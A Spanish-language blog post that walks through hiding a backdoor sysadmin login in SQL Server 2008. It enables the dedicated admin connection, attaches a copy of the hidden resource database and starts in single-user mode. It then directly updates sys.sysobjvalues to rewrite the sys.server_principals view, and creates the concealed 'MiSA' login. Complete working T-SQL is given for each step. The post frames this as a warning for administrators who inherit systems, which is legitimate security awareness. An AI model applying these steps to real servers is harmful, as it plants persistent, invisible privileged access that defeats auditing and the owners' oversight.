En un post anterior hablamos sobre la merma de seguridad que los rootkits o las modificaciones que un ex administrador puede dejar ocultas en nuestro sistema SQL 2000 o 2005. En SQL Server 2000 vimos que la protección para la modificación de objetos de sistema era bastante básica pues simplemente tenemos que habilitar la opción «allow updates» con sp_configure para poder modificarlos a nuestro antojo.En SQL Server 2005 Microsoft modificó muy sustancialmente el almacenamiento de dichos objetos de sistema, pasando a pertenecer a una base de datos oculta llamada mssqlsystemresource aunque aún era vulnerable a modificaciones aunque de forma algo más complicada. Como alternativa podíamos manipular las DMVs sin tener que llegar a los objetos de más bajo nivel. En SQL Server 2008 vamos a intentar seguir la misma estrategia pues seguimos disponiendo de dicha base de datos de recursos pero en el directorio BINN de la instancia:

De nuevo no es posible detectar directamente la presencia de dichas bases de datos con una consulta a sys.databases por ejemplo. Vamos a intentar montar una copia de la base de datos de recursos al igual que hicimos con 2005. Para ello necesitaremos habilitar la conexión DAC (Dedicated Administrator Conection):

sp_configure ‘remote admin connections’,1

reconfigure

Una vez habilitada, abriremos una nueva consulta con Management Studio utilizando la DAC indicando como nombre de servidor «ADMIN:nombre_serverinstancia»:

Para comprobar que la DAC está funcionando comprobaremos que podemos consultar tablas de sistema directamente desde esta conexión. Por ejemplo la tabla sysdbreg que nos mostrará todas las bases de datos reales (incluyendo las que nos oculta sys.databases):

select * from master.sys.sysdbreg

El siguiente paso será crearnos una copia de los ficheros de la base de datos de recursos (en el mismo directorio por ejemplo) y con esta nueva conexión administrativa crearemos una nueva base de datos con los nuevos ficheros:

CREATE DATABASE [copy of mssqlsystemresource]

ON

(FILENAME =

‘C:Program FilesMicrosoft SQL ServerMSSQL10.SQL2008MSSQLBinnCopy of mssqlsystemresource.mdf’),

(FILENAME =

‘C:Program FilesMicrosoft SQL ServerMSSQL10.SQL2008MSSQLBinnCopy of mssqlsystemresource.ldf’)

FOR ATTACH

Si todo ha ido bien tendremos la nueva base de datos disponible:

Vamos a modificar la vista sys.server_principals como hicimos en 2005 para ocultar un login sysadmin que nos crearemos como puerta trasera. La definición de la vista es la siguiente:

ALTER VIEW [sys].[server_principals] AS

    SELECT p.name,

        p.id AS principal_id,

        p.sid, p.type,

        n.name AS type_desc,

        is_disabled = sysconv(bit, p.status & 0x80),

        p.crdate AS create_date,

        p.modate AS modify_date,

        p.dbname AS default_database_name,

        p.lang AS default_language_name,

        r.indepid AS credential_id

    FROM master.sys.sysxlgns p

    LEFT JOIN sys.syspalnames n ON n.class = ‘LGTY’ AND n.value = p.type

    LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0    — SRC_LOGIN_CREDENTIAL

    WHERE has_access(‘LG’, p.id) = 1

        AND p.type <> ‘M’ — exclude component logins

 

GO

 

La modificaremos tal y como hicimos en la versión de 2005 e intentaremos ejecutar el ALTER:

 

ALTER VIEW [sys].[server_principals] AS

    SELECT p.name,

        p.id AS principal_id,

        p.sid, p.type,

        n.name AS type_desc,

        is_disabled = convert(bit, p.status & 0x80),

        p.crdate AS create_date,

        p.modate AS modify_date,

        p.dbname AS default_database_name,

        p.lang AS default_language_name,

        r.indepid AS credential_id

    FROM master.sys.sysxlgns p

    LEFT JOIN sys.syspalnames n ON n.class = ‘LGTY’ AND n.value = p.type

    LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0    — SRC_LOGIN_CREDENTIAL

    WHERE –has_access(‘LG’, p.id)

     –AND

     p.type <> ‘M’ — exclude component logins

        AND p.name <> ‘MiSA’

GO

Vemos que la situación ha cambiado pues al ejecutar el ALTER nos encontramos con el siguiente error:

Msg 208, Level 16, State 6, Procedure server_principals, Line 2

Invalid object name ‘sys.server_principals’.

SQL Server 2008 dispone por tanto de un nivel adicional de seguridad que nos impide modificar la vista de esta forma. Buscaremos pues otra aproximación para realizar dicha modificación J. En un post hace un tiempo traté el tema de la modificación directa de objetos de sistema mediante la opción «allow updates» en SQL Server 2005. Microsoft por defecto deshabilitó dicha funcionalidad para evitar cambios directamente en dichos objetos. Si tratamos de activar la opción directamente obtenemos un aviso (lo ejecutemos desde la DAC o no):

sp_configure ‘allow updates’,1

reconfigure

Msg 5808, Level 16, State 1, Line 2

Ad hoc update to system catalogs is not supported.

 

Probaremos por tanto la misma estrategia con SQL Server 2005 (arrancar la instancia en modo single-user y con la DAC). Para ello detendremos el servicio, modificaremos los parámetros de arranque añadiendo el parámetro «–m»:

Arrancaremos de nuevo el servicio y nos conectaremos con la DAC a nuestra instancia para lanzar de nuevo el sp_configure:

sp_configure ‘allow updates’,1

reconfigure

Msg 5808, Level 16, State 1, Line 2

Ad hoc update to system catalogs is not supported.

De nuevo aparece el error y nos sigue sin dejar modificar la vista directamente con el alter. Sin embargo como ya comentábamos en el post referenciado, en este caso sí funciona realmente la modificación de las tablas de sistema. Por tanto vamos a atacar directamente al almacenamiento de la definición para su tampering. Primero obtendremos de la vista correspondiente la definición:

select * from sys.all_sql_modules

where definition like ‘create view sys.server_principals%’

 

Obtenemos dos copias de la vista, una con un object_id negativo y otro positivo (object_id -217 y 217). Si obtenemos la definición de la vista tenemos lo siguiente:

CREATE VIEW sys.all_sql_modules AS

SELECT * FROM sys.sql_modules

UNION ALL

SELECT * FROM sys.system_sql_modules

Y obteniendo la definición de sys.sql_modules y sys.system_sql_modules llegamos a la conclusión que la definición se devuelve tras ejecutar una función llamada object_definition sobre el object_id directamente:

select object_definition(217)

Aparentemente un callejon sin salida. Sin embargo la definición de los objetos puede obtenerse también en binario a partir de otra tabla de sistema llamada sys.sysobjvalues. A partir de dicha tabla podemos obtener la definición de la vista haciendo unas transformaciones:

select imageval,convert(varchar(max),imageval) definicion from sys.sysobjvalues

where objid=217

Una vez tenemos la definición «a tiro» haremos el update correspondiente:

update sys.sysobjvalues

set imageval=

    convert(varbinary(max),

        replace(convert(varchar(max),imageval),

            ‘– exclude component logins’,

            ‘ AND p.name<>»MiSA»’))

where objid=217

 

Warning: System table ID 60 has been updated directly in database ID 5 and cache coherence may not have been maintained. SQL Server should be restarted.

 

(1 row(s) affected)

En el update básicamente reemplazamos la parte final de la definición de la vista (un comentario) por nuestra condición extra «AND p.name <> ‘MiSA'». Crearemos a continuación el login con sysadmin a ocultar:

Una vez introducida la DMV crearemos el usuario MiSA como sysadmin:

CREATE LOGIN [MiSA] WITH PASSWORD=N’Pa$$w0rd’, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

EXEC master..sp_addsrvrolemember @loginame = N’MiSA’, @rolename = N’sysadmin’

 

A continuación dejaremos la base de datos en modo solo lectura si es necesario:

sp_dboption ‘copy of mssqlsystemresource’,‘read_only’,‘true’

Una vez realizado el tampering el siguiente paso será detener el servicio, eliminar el parámetro «-m», machacar los ficheros de la base de datos resource, arrancar el servicio y comprobar si está funcionando al igual que hicimos en SQL Server 2005 conectando con dicho usuario:

Vemos que el usuario no aparece en Management Studio y tampoco nos aparecerá en las vistas más habituales:

select count(*) from sys.server_principals where name =‘MiSA’

select count(*) from sys.syslogins where name =‘MiSA’

select count(*) from syslogins where name =‘MiSA’

Como conclusión a esta serie de post sobre seguridad diremos que, aunque sucesivas versiones han ido haciendo algo más complicada la modificación de objetos de sistema, de una forma u otra es posible modificarlos. Por tanto si somos responsables de diseñar la política de seguridad o si nos vamos a hacer responsables de un sistema gestionado previamente por otro administrador deberemos tener en cuenta la posibilidad de tener objetos modificados en nuestra base de datos. Quizás en futuras versiones de SQL Server se incorpore algún tipo de control adicional para evitar este tipo de manipulación. Por ejemplo se podría firmar con certificado digital de Microsoft los ficheros de sistema igual que se hace con las DLL para poder verificar que no han sido modificadas.

Volveremos sobre este tema en cuanto tengamos en nuestras manos la primera CTP de SQL Server v11

 

Rubén Garrigós